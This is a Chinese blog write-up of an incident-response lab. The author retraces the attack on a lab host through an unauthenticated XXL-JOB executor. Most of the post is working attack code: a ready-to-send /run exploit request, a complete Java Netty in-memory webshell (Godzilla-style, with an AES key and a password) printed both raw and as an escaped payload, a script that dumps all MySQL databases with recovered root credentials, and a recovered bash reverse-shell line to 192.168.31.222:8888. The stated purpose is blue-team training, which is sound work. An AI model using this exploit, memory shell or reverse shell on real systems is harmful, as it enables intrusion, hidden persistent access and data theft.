题目描述:
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查!
根据题目环境简单分析,此道题目是一个中型环境,但由于题目本身只是针对于redis第一步环境,题目设置思路为应急人员重走攻击路径,还原攻击路径,适用于快速确定受害主机漏洞情况,与常规上机排查不一样,更有意思一点
常规外网打点操作
nmap扫描端口,确认此主机目前开放ip的情况,发现仅有8081,9999开放,通过端口,熟悉打点的就可以快速知道这个漏洞情况,应存在XXL-job的漏洞。
└─# nmap -v -sS -Pn -p- 43.192.8.125
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
443/tcp filtered https
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
2222/tcp open EtherNetIP-1
4444/tcp filtered krb524
8080/tcp filtered http-proxy
8081/tcp open blackice-icecap
8878/tcp open unknown
9999/tcp open abyss
60001/tcp filtered unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 41.86 seconds
Raw packets sent: 65933 (2.901MB) | Rcvd: 65864 (2.635MB)
这里我们使用漏洞扫描,快速探测一下,发现9999端口为XXL-job执行器
直接访问9999端口和8081端口,页面如下,通过页面响应特征应为XXL-JOB executor 未授权访问漏洞
XXL-JOB漏洞原理:
XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令
漏洞影响版本:
XXL-JOB <= 2.2.0
利用EXP如下:
POST /run HTTP/1.1
Host: IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/El1aOk",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
若存在此漏洞,常规思路在目标主机的tmp下就会创建El1aOk这个文件,然后我们直接通过反弹shell到攻击机,拿到目标主机权限,实现命令执行
问题:
在此次应急靶机中,涉及到了不出网和8080端口关闭,一般8080端口开启的话,可以通过控制台进入,然后通过弱口令登录后,进行计划任务GETshell,利用执行日志等文件看到执行结果,所以控制台思路不能利用,出网的几个漏洞利用都不行
思路:通过利用executor 未授权访问漏洞, "glueType": "GLUE_GROOVY",既然可以利用java,就直接写入马子,进行连接即可
这里贴出接口信息,可从jar包中获得接口利用信息,我们直接利用GLUE_GROOVY即可打入内存马
接口信息:
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");
内存马:
Executor采用了Netty框架实现了RESTful API,这里采用BMTH作者所写的内存马,具体内存马构造思路,可以前往其博客研究,这里不再过多赘述
博客地址:
Bmth's bloghttp://www.bmth666.cn
完整哥斯拉(使用于2.2.0版本):package com.xxl.job.service.handler;import com.xxl.job.core.biz.impl.ExecutorBizImpl;import com.xxl.job.core.server.EmbedServer;import io.netty.buffer.ByteBuf;import io.netty.buffer.Unpooled;import io.netty.channel.*;import io.netty.channel.socket.SocketChannel;import io.netty.handler.codec.http.*;import io.netty.handler.timeout.IdleStateHandler;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.AbstractMap;import java.util.HashSet;import java.util.concurrent.*;import com.xxl.job.core.log.XxlJobLogger;import com.xxl.job.core.biz.model.ReturnT;import com.xxl.job.core.handler.IJobHandler;public class DemoGlueJobHandler extends IJobHandler {public static class NettyThreadHandler extends ChannelDuplexHandler{String xc = "3c6e0b8a9c15224a";String pass = "pass";String md5 = md5(pass + xc);String result = "";private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();private static Class payload;private static Class defClass(byte[] classbytes)throws Exception{URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);method.setAccessible(true);return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);}public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch(Exception e) {return null;}}public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch(Exception e) {}return ret;}@Overridepublic void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {if(((HttpRequest)msg).uri().contains("netty_memshell")) {if (msg instanceof HttpRequest){HttpRequest httpRequest = (HttpRequest) msg;AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());requestThreadLocal.set(simpleEntry);}if(msg instanceof HttpContent){HttpContent httpContent = (HttpContent)msg;AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();if (simpleEntry == null){return;}HttpRequest httpRequest = simpleEntry.getKey();ByteArrayOutputStream contentBuf = simpleEntry.getValue();ByteBuf byteBuf = httpContent.content();int size = byteBuf.capacity();byte[] requestContent = new byte[size];byteBuf.getBytes(0,requestContent,0,requestContent.length);contentBuf.write(requestContent);if (httpContent instanceof LastHttpContent){try {byte[] data = x(contentBuf.toByteArray(), false);if (payload == null) {payload = defClass(data);send(ctx,x(new byte[0], true),HttpResponseStatus.OK);} else {Object f = payload.newInstance();java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(data);f.toString();send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);}} catch(Exception e) {ctx.fireChannelRead(httpRequest);}}else {ctx.fireChannelRead(msg);}}} else {ctx.fireChannelRead(msg);}}private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);}}public ReturnT<String> execute(String param) throws Exception{try{ThreadGroup group = Thread.currentThread().getThreadGroup();Field threads = group.getClass().getDeclaredField("threads");threads.setAccessible(true);Thread[] allThreads = (Thread[]) threads.get(group);for (Thread thread : allThreads) {if (thread != null && thread.getName().contains("nioEventLoopGroup")) {try {Object target;try {target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");} catch (Exception e) {continue;}if (target.getClass().getName().endsWith("NioEventLoop")) {XxlJobLogger.log("NioEventLoop find");HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");if (!set.isEmpty()) {Object keys = set.toArray()[0];Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {@Overridepublic void initChannel(SocketChannel channel) throws Exception {channel.pipeline().addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle.addLast(new HttpServerCodec()).addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL.addLast(new NettyThreadHandler()).addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(0,200,60L,TimeUnit.SECONDS,new LinkedBlockingQueue<Runnable>(2000),new ThreadFactory() {@Overridepublic Thread newThread(Runnable r) {return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());}},new RejectedExecutionHandler() {@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");}})));}});XxlJobLogger.log("success!");break;}}} catch (Exception e){XxlJobLogger.log(e.toString());}}}}catch (Exception e){XxlJobLogger.log(e.toString());}return ReturnT.SUCCESS;}public Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);} catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null){field = getField(clazz.getSuperclass(), fieldName);}}return field;}public Object getFieldValue(final Object obj, final String fieldName) throws Exception {final Field field = getField(obj.getClass(), fieldName);return field.get(obj);}public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}}
利用EXP:
"glueSource":"package com.xxl.job.service.handler;\n\nimport com.xxl.job.core.biz.impl.ExecutorBizImpl;\nimport com.xxl.job.core.server.EmbedServer;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.*;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.timeout.IdleStateHandler;\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.util.AbstractMap;\nimport java.util.HashSet;\nimport java.util.concurrent.*;\n\nimport com.xxl.job.core.log.XxlJobLogger;\nimport com.xxl.job.core.biz.model.ReturnT;\nimport com.xxl.job.core.handler.IJobHandler;\n\npublic class DemoGlueJobHandler extends IJobHandler {\n public static class NettyThreadHandler extends ChannelDuplexHandler{\n String xc = \"3c6e0b8a9c15224a\";\n String pass = \"pass\";\n String md5 = md5(pass + xc);\n String result = \"\";\n private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();\n private static Class payload;\n\n private static Class defClass(byte[] classbytes)throws Exception{\n URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());\n Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n method.setAccessible(true);\n return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);\n }\n\n public byte[] x(byte[] s, boolean m) {\n try {\n javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(\"AES\");\n c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), \"AES\"));\n return c.doFinal(s);\n } catch(Exception e) {\n return null;\n }\n }\n public static String md5(String s) {\n String ret = null;\n try {\n java.security.MessageDigest m;\n m = java.security.MessageDigest.getInstance(\"MD5\");\n m.update(s.getBytes(), 0, s.length());\n ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();\n } catch(Exception e) {}\n return ret;\n }\n\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n if(((HttpRequest)msg).uri().contains(\"netty_memshell\")) {\n if (msg instanceof HttpRequest){\n HttpRequest httpRequest = (HttpRequest) msg;\n AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());\n requestThreadLocal.set(simpleEntry);\n }\n if(msg instanceof HttpContent){\n HttpContent httpContent = (HttpContent)msg;\n AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();\n if (simpleEntry == null){\n return;\n }\n HttpRequest httpRequest = simpleEntry.getKey();\n ByteArrayOutputStream contentBuf = simpleEntry.getValue();\n\n ByteBuf byteBuf = httpContent.content();\n int size = byteBuf.capacity();\n byte[] requestContent = new byte[size];\n byteBuf.getBytes(0,requestContent,0,requestContent.length);\n\n contentBuf.write(requestContent);\n\n if (httpContent instanceof LastHttpContent){\n try {\n byte[] data = x(contentBuf.toByteArray(), false);\n\n if (payload == null) {\n payload = defClass(data);\n send(ctx,x(new byte[0], true),HttpResponseStatus.OK);\n } else {\n Object f = payload.newInstance();\n java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();\n f.equals(arrOut);\n f.equals(data);\n f.toString();\n send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);\n }\n } catch(Exception e) {\n ctx.fireChannelRead(httpRequest);\n }\n }else {\n ctx.fireChannelRead(msg);\n }\n }\n } else {\n ctx.fireChannelRead(msg);\n }\n }\n\n private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {\n FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));\n response.headers().set(HttpHeaderNames.CONTENT_TYPE, \"text/plain; charset=UTF-8\");\n ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);\n }\n }\n\n public ReturnT<String> execute(String param) throws Exception{\n try{\n ThreadGroup group = Thread.currentThread().getThreadGroup();\n Field threads = group.getClass().getDeclaredField(\"threads\");\n threads.setAccessible(true);\n Thread[] allThreads = (Thread[]) threads.get(group);\n for (Thread thread : allThreads) {\n if (thread != null && thread.getName().contains(\"nioEventLoopGroup\")) {\n try {\n Object target;\n\n try {\n target = getFieldValue(getFieldValue(getFieldValue(thread, \"target\"), \"runnable\"), \"val\\$eventExecutor\");\n } catch (Exception e) {\n continue;\n }\n\n if (target.getClass().getName().endsWith(\"NioEventLoop\")) {\n XxlJobLogger.log(\"NioEventLoop find\");\n HashSet set = (HashSet) getFieldValue(getFieldValue(target, \"unwrappedSelector\"), \"keys\");\n if (!set.isEmpty()) {\n Object keys = set.toArray()[0];\n Object pipeline = getFieldValue(getFieldValue(keys, \"attachment\"), \"pipeline\");\n Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, \"head\"), \"next\"), \"handler\");\n setFieldValue(embedHttpServerHandler, \"childHandler\", new ChannelInitializer<SocketChannel>() {\n @Override\n public void initChannel(SocketChannel channel) throws Exception {\n channel.pipeline()\n .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle\n .addLast(new HttpServerCodec())\n .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL\n .addLast(new NettyThreadHandler())\n .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), \"\", new ThreadPoolExecutor(\n 0,\n 200,\n 60L,\n TimeUnit.SECONDS,\n new LinkedBlockingQueue<Runnable>(2000),\n new ThreadFactory() {\n @Override\n public Thread newThread(Runnable r) {\n return new Thread(r, \"xxl-rpc, EmbedServer bizThreadPool-\" + r.hashCode());\n }\n },\n new RejectedExecutionHandler() {\n @Override\n public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\n throw new RuntimeException(\"xxl-job, EmbedServer bizThreadPool is EXHAUSTED!\");\n }\n })));\n }\n });\n XxlJobLogger.log(\"success!\");\n break;\n }\n }\n } catch (Exception e){\n XxlJobLogger.log(e.toString());\n }\n }\n }\n }catch (Exception e){\n XxlJobLogger.log(e.toString());\n }\n return ReturnT.SUCCESS;\n }\n\n public Field getField(final Class<?> clazz, final String fieldName) {\n Field field = null;\n try {\n field = clazz.getDeclaredField(fieldName);\n field.setAccessible(true);\n } catch (NoSuchFieldException ex) {\n if (clazz.getSuperclass() != null){\n field = getField(clazz.getSuperclass(), fieldName);\n }\n }\n return field;\n }\n\n public Object getFieldValue(final Object obj, final String fieldName) throws Exception {\n final Field field = getField(obj.getClass(), fieldName);\n return field.get(obj);\n }\n\n public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n final Field field = getField(obj.getClass(), fieldName);\n field.set(obj, value);\n }\n}"
应急步骤:
1.BP进行传参
2.连接我们植入的内存马
固定数据库
3.对于应急而言,我们当拿到权限后,需要快速定位攻击者操作行为,通过题目问题,应为攻击者利用后台进入页面,然后实现添加用户名再次反弹shell,因为整个攻击操作均在平台完成,所以我们直接拿到数据库即可,还原出所有操作,此处在电子取证中也是首要采取的一个步骤,为固定数据库操作
4.通过哥斯拉连接马子导出我们的jar包,反编译拿到我们所需要的数据库账号和密码
spring.datasource.username=root
spring.datasource.password=root_pwd数据库账号和密码
5.我们不再进行通过马子连接数据库寻找攻击路径,而是直接打包数据库,快速分析,贴出打包的执行文件
#!/bin/bash
# MySQL用户名和密码
username="root"
password="root_pwd"databases=$(mysql -u $username -p$password -e "show databases;" -s --skip-column-names)
for db in $databases; do
if [[ "$db" != "information_schema" && "$db" != "mysql" && "$db" != "performance_schema" && "$db" != "sys" ]]; then
mysqldump -u $username -p$password $db > $db.sql
fi
done
能够看到文件管理已经存在此数据库,我们直接下载出来,查看即可,由于xxl-job攻击通常为反弹shell命令和admin用户创建,我们直接检索admin,便可拿到答案
'admin1','7f0e6fe143efccf658c3b8d15fff6e2d',1,NULL);
exec bash -i &>/dev/tcp/192.168.31.222/8888 <&1\
以上便是此个应急靶场的思路以及答案获取,各位佬们速速复现吧,拿下它!
总结:
应急蓝队结合红队思路,能够快速定位攻击者的具体利用方式和路径,重走一遍,方便固定具体证据,但影响也有,在于真实应急可能会破坏实际攻击路径,造成影响,所以一般还是要固定镜像,然后再进行漏洞利用以及应急响应
欢迎大家关注玄机应急靶场https://xj.edisec.net/,多多练习!
标签:Exception,01,java,String,getFieldValue,玄机,new,vulntarget,public From: https://blog.csdn.net/m0_63468055/article/details/140385833